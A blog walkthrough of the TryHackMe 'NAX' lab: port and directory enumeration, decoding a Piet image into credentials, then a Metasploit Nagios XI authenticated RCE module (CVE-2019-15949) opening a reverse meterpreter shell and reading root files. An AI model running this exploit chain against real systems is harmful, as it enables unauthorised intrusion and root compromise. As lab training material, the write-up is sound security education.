NAX Walkthrough TryHackMe

Shivam Taneja
11 min readOct 15, 2022

--

Try Hack Me NAX Writeup

Identify the critical security flaw in the most powerful and trusted network monitoring software on the market, that allows a user authenticated execute remote code execution.

Are you able to complete the challenge?

The machine may take up to 5 minutes to boot and configure

WARNING: I stripped out the answers, passwords, flags and co. This writeup is pretty detailed. By following and doing the steps described here yourself you will get them all. The goal is to learn more about it, even if you get stuck at some point. Enjoy!

Setup

$ export IP_TARGET=10.10.201.50

$ export WRITEUP=”$HOME/Documents/THM/nax/”

$ mkdir -p $WRITEUP

$ cd $WRITEUP

$ tmux

Enumeration of ports and services

# nmap -sCV $IP_TARGET

Starting Nmap 7.91 ( https://nmap.org ) at 2021–08–30 19:55 CEST

Nmap scan report for 10.10.201.50

Host is up (0.032s latency).

Not shown: 995 closed ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 62:1d:d9:88:01:77:0a:52:bb:59:f9:da:c1:a6:e3:cd (RSA)

| 256 af:67:7d:24:e5:95:f4:44:72:d1:0c:39:8d:cc:21:15 (ECDSA)

|_ 256 20:28:15:ef:13:c8:9f:b8:a7:0f:50:e6:2f:3b:1e:57 (ED25519)

25/tcp open smtp Postfix smtpd

|_smtp-commands: ubuntu.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,

| ssl-cert: Subject: commonName=ubuntu

| Not valid before: 2020–03–23T23:42:04

|_Not valid after: 2030–03–21T23:42:04

|_ssl-date: TLS randomness does not represent time

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn’t have a title (text/html).

389/tcp open ldap OpenLDAP 2.2.X — 2.3.X

443/tcp open ssl/http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Site doesn’t have a title (text/html).

| ssl-cert: Subject: commonName=192.168.85.153/organizationName=Nagios Enterprises/stateOrProvinceName=Minnesota/countryName=US

| Not valid before: 2020–03–24T00:14:58

|_Not valid after: 2030–03–22T00:14:58

|_ssl-date: TLS randomness does not represent time

| tls-alpn:

|_ http/1.1

Service Info: Host: ubuntu.localdomain; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 16.01 seconds

No clue what these geek boys did to me. So while typing these Ag — Hg — Ta — Sb — Po — Pd — Hg — Pt — Lr in Google, it autocompleted for me and suggested this is about the periodic table. Google suggested me these search result in my native language, which is called Perodiek systeem. So why not to try to understand a bit this mystery. And honestly, on the Flemish/Dutch article, it’s more obvious. I got it directly that there was a link.

  • Ag — Hg — Ta — Sb — Po — Pd — Hg — Pt — Lr
  • 47–80–73–51–84–46–80–78–103

After a long period, not that table. I found out this was about ASCII. Looking up on Google for an ASCII to characters converter brought me to this after a lot of tries on other websites: https://www.duplichecker.com/ascii-to-text.php

Got that info, A hint that this point to a file on the webserver, so went it and downloaded the image.

Looked with the exiftool. Nothing found so far.

$ exiftool [REDACTED]

ExifTool Version Number : 12.16

File Name : [REDACCTED]

Directory : .

File Size : 959 KiB

File Modification Date/Time : 2021:08:30 20:30:39+02:00

File Access Date/Time : 2021:08:30 20:31:05+02:00

File Inode Change Date/Time : 2021:08:30 20:30:39+02:00

File Permissions : rw-r — r —

File Type : PNG

File Type Extension : png

MIME Type : image/png

Image Width : 990

Image Height : 990

Bit Depth : 8

Color Type : Palette

Compression : Deflate/Inflate

Filter : Adaptive

Interlace : Noninterlaced

Palette : (Binary data 768 bytes, use -b option to extract)

Transparency : (Binary data 256 bytes, use -b option to extract)

Artist : Piet Mondrian

Copyright : Piet Mondrian, tryhackme 2020

Image Size : 990x990

Megapixels : 0.980

Looking with strings [REDACTED] | less gave me also not useful information. I stripped out the tons of new line in the output below and replaced it with …. But, nothing hidden inside there.

$ cat [REDACTED]

IHDR

PLTE

tRNS

=Fc@

tEXtArtist

Piet Mondrian

‘tEXtCopyright

Piet Mondrian, tryhackme 2020

IDATx

IEND

Tried to do a Google Reverse Image search but did not work. Got the message from Google: The image is too large (over 8,000 by 6,000 pixels) or Google can’t read its encoding.. While this is about a 900x900 and 959 KiB image. So, something was going really wrong on this one.

Read a lot about Piet Mondrian on Google, fancy geek stuff, but reading that all, and you are busy for days, weeks if not more. So looked up on Google with the keywords Piet Mondrian decode image and found this website http://www.bertnase.de/npiet/. What interpellated me was the message on that website Hint: If you get an error running npiet on your downloaded gif image about an unknown gif format — just open it with gimp or another paint program and save it as ppm or png image — and try again! Have fun!. Which phrased same way as in the 3rd question that does not require an answer. So, we are on the right place!

A painful website to read even if there is no fancy UI. But absolutely not clear and lost a lot of time to figure out what or how. Finally after a while i found there a link npiet online, run a piet program right now!

Once there, we can upload an image, the image we grabbed earlier. Tried that image, and indeed, got issues with the original file. Used Gimp to open the image and export it again as another file name. Then it worked.

Actually, even with that bugged file that has an issue, you get what you need to get, if you know what you need to get: the user and password. But for that you need to realize this.

It took me ages to realize, that the username and password was under the image and not yet another error message. This was really confusing to me. Please the file issue and would be less confusing. I was still thinking that something was not working with this image. Even converted that to PPM, but then npiet complained it was too big. I was ready to skip this question in this CTF, and jump to the next question. Then read that next question and the hint which indicate “% is a separator”. This hint should have been placed on the previous question ;-)

My gobuster scan also finished by then, which gave me the final hint. But hold on…

After that (first) % I though the rest behind was the password. A very long one. Lucky, I copy & pasted that into a text editor, and I felt like I was drunken! And that with my cup of thea next to me. Hopefully you see the pattern in the screenshot. The username and password are repeated an x number of times. So we have to take what we need, not the whole thing.

Ran a gobuster a while ago, even forgot that I already started that slow webserver enumeration process. So now we know also where to go.

$ gobuster dir — wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://$IP_TARGET

===============================================================

Gobuster v3.1.0

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url: http://10.10.201.50

[+] Method: GET

[+] Threads: 10

[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

[+] Negative Status codes: 404

[+] User Agent: gobuster/3.1.0

[+] Timeout: 10s

===============================================================

2021/08/30 20:51:43 Starting gobuster in directory enumeration mode

===============================================================

/javascript (Status: 301) [Size: 317] [ → http://10.10.201.50/javascript/]

/nagios (Status: 401) [Size: 459]

/server-status (Status: 403) [Size: 277]

===============================================================

2021/08/30 21:03:08 Finished

===============================================================

So going on http://10.10.201.50/nagios/ pop up a login box, where we can enter the credentials we found, and we can then can log in. We immediately notice the message A new version of Nagios Core is available! Visit nagios.org to download Nagios 4.4.5.. Above that message, we see in bold Nagios® Core™ Version 4.4.2 August 16, 2018. I like tools, so I looked a bout around, but this is only configured for this host, so nothing fun.

Looking around on exploit-db, there are a lot of things, not clearly mentioned for version 4.4.2, so this is a lot of opening one by one and reading the comments into the source code. Casual stuff in fact. Finally, found a metasploit, titled Nagios XI — Authenticated Remote Command Execution (Metasploit) with ref EDB-ID 48191 referencing to CVE-2019–15949. This is it! Not Michael Jackson, that is too late. So starting up msfconsole and again a search.

msf6 > search nagios

Matching Modules

================

# Name Disclosure Date Rank Check Description

- — — — — — — — — — — — — — — — — — — — — -

0 exploit/linux/misc/nagios_nrpe_arguments 2013–02–21 excellent Yes Nagios Remote Plugin Executor Arbitrary Command Execution

1 exploit/linux/http/nagios_xi_snmptrap_authenticated_rce 2020–10–20 excellent Yes Nagios XI 5.5.0–5.7.3 — Snmptrap Authenticated Remote Code Exection

2 exploit/linux/http/nagios_xi_mibs_authenticated_rce 2020–10–20 excellent Yes Nagios XI 5.6.0–5.7.3 — Mibs.php Authenticated Remote Code Exection

3 exploit/linux/http/nagios_xi_chained_rce 2016–03–06 excellent Yes Nagios XI Chained Remote Code Execution

4 exploit/linux/http/nagios_xi_chained_rce_2_electric_boogaloo 2018–04–17 manual Yes Nagios XI Chained Remote Code Execution

5 post/linux/gather/enum_nagios_xi 2018–04–17 normal No Nagios XI Enumeration

6 exploit/linux/http/nagios_xi_magpie_debug 2018–11–14 excellent Yes Nagios XI Magpie_debug.php Root Remote Code Execution

7 exploit/unix/webapp/nagios_graph_explorer 2012–11–30 excellent Yes Nagios XI Network Monitor Graph Explorer Component Command Injection

8 exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce 2019–07–29 excellent Yes Nagios XI Prior to 5.6.6 getprofile.sh Authenticated Remote Command Execution

9 exploit/linux/http/nagios_xi_plugins_filename_authenticated_rce 2020–12–19 excellent Yes Nagios XI Prior to 5.8.0 — Plugins Filename Authenticated Remote Code Exection

10 auxiliary/scanner/http/nagios_xi_scanner normal No Nagios XI Scanner

11 exploit/unix/webapp/nagios3_history_cgi 2012–12–09 great Yes Nagios3 history.cgi Host Command Execution

12 exploit/unix/webapp/nagios3_statuswml_ping 2009–06–22 excellent No Nagios3 statuswml.cgi Ping Command Execution

Interact with a module by name or index. For example info 12, use 12 or use exploit/unix/webapp/nagios3_statuswml_ping

It is sometimes an issue to find back the exploit in the msfconsole from the info you gathered on exploit-db as well as other vulnerability database websites. They do not keep the same names and description somehow, and they do not update older released information/code either. So I had to look with the info command 8 times :-D I preferred to look at the info of each of them to be sure. But in this case, I could have found it easier because in the description of the function of the code on exploit-db there is noted This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root.. So let’s use it.

msf6 > use 8

[*] Using configured payload linux/x64/meterpreter/reverse_tcp

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) >

We now need to look at the options and to what we need to define.

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > show options

Module options (exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce):

Name Current Setting Required Description

— — — — — — — — — — — — — — — — — — — -

FINISH_INSTALL false no If the Nagios XI installation has not been completed, try to do so. This includes signing the license agreement.

PASSWORD yes Password to authenticate with

Proxies no A proxy chain of format type:host:port[,type:host:port][…]

RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’

RPORT 80 yes The target port (TCP)

SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.

SRVPORT 8080 yes The local port to listen on.

SSL false no Negotiate SSL/TLS for outgoing connections

SSLCert no Path to a custom SSL certificate (default is randomly generated)

TARGETURI /nagiosxi/ yes The base path to the Nagios XI application

URIPATH no The URI to use for this exploit (default is random)

USERNAME [REDACTED] yes Username to authenticate with

VHOST no HTTP server virtual host

Payload options (linux/x64/meterpreter/reverse_tcp):

Name Current Setting Required Description

— — — — — — — — — — — — — — — — — — — -

LHOST yes The listen address (an interface may be specified)

LPORT 4444 yes The listen port

Exploit target:

Id Name

— — —

1 Linux (x64)

So I have set what is needed.

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set PASSWORD [REDACTED]

PASSWORD => [REDACTED]

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set RHOST 10.10.201.50

RHOST => 10.10.201.50

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > set LHOST tun0

LHOST => 10.8.208.30

Once done, execute run (or exploit) to launch the beast:

msf6 exploit(linux/http/nagios_xi_plugins_check_plugin_authenticated_rce) > run

[*] Started reverse TCP handler on 10.8.208.30:4444

[*] Running automatic check (“set AutoCheck false” to disable)

[*] Attempting to authenticate to Nagios XI…

[+] Successfully authenticated to Nagios XI

[*] Target is Nagios XI with version 5.5.6

[+] The target appears to be vulnerable.

[*] Uploading malicious ‘check_ping’ plugin…

[*] Command Stager progress — 100.00% done (897/897 bytes)

[+] Successfully uploaded plugin.

[*] Executing plugin…

[*] Waiting up to 300 seconds for the plugin to request the final payload…

[*] Sending stage (3012548 bytes) to 10.10.201.50

[*] Meterpreter session 1 opened (10.8.208.30:4444 -> 10.10.201.50:42854) at 2021–08–30 23:21:38 +0200

[*] Deleting malicious ‘check_ping’ plugin…

[+] Plugin deleted.

meterpreter >

This is it! Sorry Micky, Rest In Peace. So now it’s time to loot what we need.

meterpreter > pwd

/usr/local/nagiosxi/html/includes/components/profile

meterpreter > ls /home/

Listing: /home/

===============

Mode Size Type Last modified Name

— — — — — — — — — — — — — — —

40755/rwxr-xr-x 4096 dir 2020–03–25 04:45:51 +0100 galand

meterpreter > ls /home/galand

Listing: /home/galand

=====================

Mode Size Type Last modified Name

— — — — — — — — — — — — — — —

100600/rw — — — — 481 fil 2020–03–25 05:07:21 +0100 .bash_history

100644/rw-r — r — 220 fil 2020–03–23 18:38:06 +0100 .bash_logout

100644/rw-r — r — 3771 fil 2020–03–23 18:38:06 +0100 .bashrc

40700/rwx — — — 4096 dir 2020–03–23 23:59:15 +0100 .cache

40755/rwxr-xr-x 4096 dir 2020–03–24 00:42:44 +0100 .cpan

40700/rwx — — — 4096 dir 2020–03–24 00:42:45 +0100 .gnupg

40775/rwxrwxr-x 4096 dir 2020–03–25 04:45:26 +0100 .nano

100644/rw-r — r — 655 fil 2020–03–23 18:38:06 +0100 .profile

100600/rw — — — — 1024 fil 2020–03–24 01:08:28 +0100 .rnd

40755/rwxr-xr-x 4096 dir 2020–03–24 01:04:03 +0100 .subversion

100644/rw-r — r — 0 fil 2020–03–23 23:59:40 +0100 .sudo_as_admin_successful

40755/rwxr-xr-x 4096 dir 2020–03–24 01:08:49 +0100 nagiosxi

100664/rw-rw-r — 38 fil 2020–03–25 04:45:51 +0100 user.txt

meterpreter > cat /home/galand/user.txt

THM{84*****d1d72a9f2e99c33bc5*****f1}

meterpreter > cat /root/root.txt

THM{c8*****9c83067503a6508b21*****62}

Conclusion

Mission accomplished!

This was really a difficult one, easy to fall in rabbit holes or get lost in the galaxy of the Internet. Hope you enjoyed as much as I did.

--

--

Shivam Taneja

IT Security Consultant, Researcher, Penetration Tester & Hacker.